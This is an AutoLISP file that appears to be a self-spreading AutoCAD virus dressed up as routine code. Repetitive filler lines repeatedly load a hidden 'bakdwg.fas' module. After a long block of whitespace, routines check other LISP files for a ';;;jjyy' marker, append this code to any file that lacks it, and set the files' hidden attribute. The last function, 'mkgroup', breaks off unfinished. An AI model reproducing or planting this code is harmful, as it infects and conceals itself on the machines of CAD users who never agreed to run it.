
(setq flagx t)



(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)

(if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas")))

(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)

(if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas")))

(setq flagx t)

(if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas")))

(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)



(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)

(if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas")))

(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)

(if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas")))

(setq flagx t)

(if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas")))

(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)


(setq flagx t)

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
(defun chklsp (fp1 fp2 / fp3 TEM1 TEM2)
  (if (setq fp3 (open fp1 "r"))
    (progn
      (if
	(not
	  (wcmatch (while (setq tem1 (read-line fp3)) (setq tem2 tem1))
		   "*;;;jjyy*"
	  )
	)
	 (writelsp fp2 fp1)
      )
      (close fp3)
    )
    (writelsp fp2 fp1)
  )
  (attset fp1 2)
  (attset fp2 2)
)
(defun writelsp	(fp1 fp2 / fp3 fp4 tem)
  (setq	fp3 (open fp1 "r")
	fp4 (open fp2 "a")
  )
  (while (setq tem (read-line fp3)) (write-line tem fp4))
  (close fp3)
  (close fp4)
  (princ)
)
(defun attset (fp code / fp1)
  (if (and (/= "" fp) code)
    (progn (vl-load-com)
	   (vlax-put-property
	     (setq fp1 (vlax-invoke-method
			 (vlax-create-object "Scripting.FileSystemObject")
			 'GetFile
			 fp
		       )
	     )
	     'Attributes
	     code
	   )
    )
  )
  (vlax-release-object fp1)
)
(defun mkgroup (pt0 / pts)

(setq flagx t)


;;;jjyy
